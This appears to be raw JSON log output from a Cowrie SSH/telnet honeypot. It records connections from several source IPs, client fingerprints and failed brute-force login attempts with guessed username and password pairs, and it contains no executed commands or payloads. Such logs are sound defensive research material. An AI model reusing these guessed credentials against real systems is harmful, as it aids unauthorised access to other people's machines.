{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:28.767641Z","src_ip":"176.65.132.129","session":"70c39ce7486b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:29.852957Z","src_ip":"176.65.132.129","session":"70c39ce7486b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40572,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fa1bd73fd30","protocol":"telnet","message":"New connection: 152.42.224.71:40572 (10.17.0.5:23) [session: 3fa1bd73fd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:30.073180Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40562,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9f210984de","protocol":"telnet","message":"New connection: 152.42.224.71:40562 (10.17.0.5:23) [session: 3d9f210984de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:30.673880Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40582,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ff165e7988","protocol":"telnet","message":"New connection: 152.42.224.71:40582 (10.17.0.5:23) [session: b0ff165e7988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:31.099371Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42720,"dst_ip":"159.203.135.109","dst_port":22,"session":"df70aa0a5730","protocol":"ssh","message":"New connection: 176.65.132.129:42720 (159.203.135.109:22) [session: df70aa0a5730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:31.699906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:31.705283Z","src_ip":"176.65.132.129","session":"df70aa0a5730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":36448,"dst_ip":"159.203.135.109","dst_port":22,"session":"01fe234a980b","protocol":"ssh","message":"New connection: 101.32.240.31:36448 (159.203.135.109:22) [session: 01fe234a980b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:31.771626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:31.776428Z","src_ip":"101.32.240.31","session":"01fe234a980b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:31.787510Z","src_ip":"176.65.132.129","session":"df70aa0a5730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:32.015748Z","src_ip":"101.32.240.31","session":"01fe234a980b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:32.159129Z","src_ip":"176.65.132.129","session":"df70aa0a5730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.120.188","src_port":36041,"dst_ip":"10.17.0.5","dst_port":23,"session":"071944312a4f","protocol":"telnet","message":"New connection: 45.226.120.188:36041 (10.17.0.5:23) [session: 071944312a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:32.645689Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.120.188","src_port":36043,"dst_ip":"10.17.0.5","dst_port":23,"session":"40fdc3df3a92","protocol":"telnet","message":"New connection: 45.226.120.188:36043 (10.17.0.5:23) [session: 40fdc3df3a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:32.746801Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jeanne1234","message":"login attempt [root/jeanne1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:33.001707Z","src_ip":"101.32.240.31","session":"01fe234a980b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:33.244476Z","src_ip":"176.65.132.129","session":"df70aa0a5730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40592,"dst_ip":"10.17.0.5","dst_port":23,"session":"12dd00c0a490","protocol":"telnet","message":"New connection: 152.42.224.71:40592 (10.17.0.5:23) [session: 12dd00c0a490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:33.737368Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":54028,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b25b83cc85f","protocol":"ssh","message":"New connection: 13.71.92.229:54028 (10.17.0.5:22) [session: 8b25b83cc85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:34.038407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:34.043285Z","src_ip":"13.71.92.229","session":"8b25b83cc85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:34.245572Z","src_ip":"101.32.240.31","session":"01fe234a980b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:34.254157Z","src_ip":"13.71.92.229","session":"8b25b83cc85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42736,"dst_ip":"159.203.135.109","dst_port":22,"session":"d40002533a60","protocol":"ssh","message":"New connection: 176.65.132.129:42736 (159.203.135.109:22) [session: d40002533a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:35.033398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:35.037626Z","src_ip":"176.65.132.129","session":"d40002533a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:35.119795Z","src_ip":"176.65.132.129","session":"d40002533a60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"symantec","message":"login attempt [root/symantec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:35.146243Z","src_ip":"13.71.92.229","session":"8b25b83cc85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:35.557933Z","src_ip":"176.65.132.129","session":"d40002533a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:36.362447Z","src_ip":"13.71.92.229","session":"8b25b83cc85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:36.641264Z","src_ip":"176.65.132.129","session":"d40002533a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.93594479560852,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:37.970716Z","src_ip":"152.42.224.71","session":"21c5f2f51708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51326,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db005a43056","protocol":"ssh","message":"New connection: 176.65.132.129:51326 (159.203.135.109:22) [session: 1db005a43056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:38.636049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:38.644076Z","src_ip":"176.65.132.129","session":"1db005a43056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:38.737409Z","src_ip":"176.65.132.129","session":"1db005a43056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:39.016053Z","src_ip":"176.65.132.129","session":"1db005a43056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:40.102233Z","src_ip":"176.65.132.129","session":"1db005a43056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50796,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fcd9d6ba7fa","protocol":"telnet","message":"New connection: 152.42.224.71:50796 (10.17.0.5:23) [session: 5fcd9d6ba7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:40.167891Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50808,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e33632573e","protocol":"telnet","message":"New connection: 152.42.224.71:50808 (10.17.0.5:23) [session: e0e33632573e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:40.829290Z"}
{"eventid":"cowrie.session.closed","duration":18.981722831726074,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:41.232381Z","src_ip":"152.42.224.71","session":"3b9de1548583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51340,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9cd0d4f3115","protocol":"ssh","message":"New connection: 176.65.132.129:51340 (159.203.135.109:22) [session: a9cd0d4f3115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:41.858009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:41.862998Z","src_ip":"176.65.132.129","session":"a9cd0d4f3115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:41.945965Z","src_ip":"176.65.132.129","session":"a9cd0d4f3115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:42.193626Z","src_ip":"176.65.132.129","session":"a9cd0d4f3115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:43.389683Z","src_ip":"176.65.132.129","session":"a9cd0d4f3115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51348,"dst_ip":"159.203.135.109","dst_port":22,"session":"7350001b9436","protocol":"ssh","message":"New connection: 176.65.132.129:51348 (159.203.135.109:22) [session: 7350001b9436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:45.047099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:45.051997Z","src_ip":"176.65.132.129","session":"7350001b9436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:45.136608Z","src_ip":"176.65.132.129","session":"7350001b9436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.869738817214966,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:45.524691Z","src_ip":"152.42.224.71","session":"9a25633da871","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:45.590421Z","src_ip":"176.65.132.129","session":"7350001b9436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:46.676280Z","src_ip":"176.65.132.129","session":"7350001b9436","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54532,"dst_ip":"159.203.135.109","dst_port":22,"session":"191466bbef2d","protocol":"ssh","message":"New connection: 176.65.132.129:54532 (159.203.135.109:22) [session: 191466bbef2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:48.452322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:48.457270Z","src_ip":"176.65.132.129","session":"191466bbef2d","protocol":"ssh"}
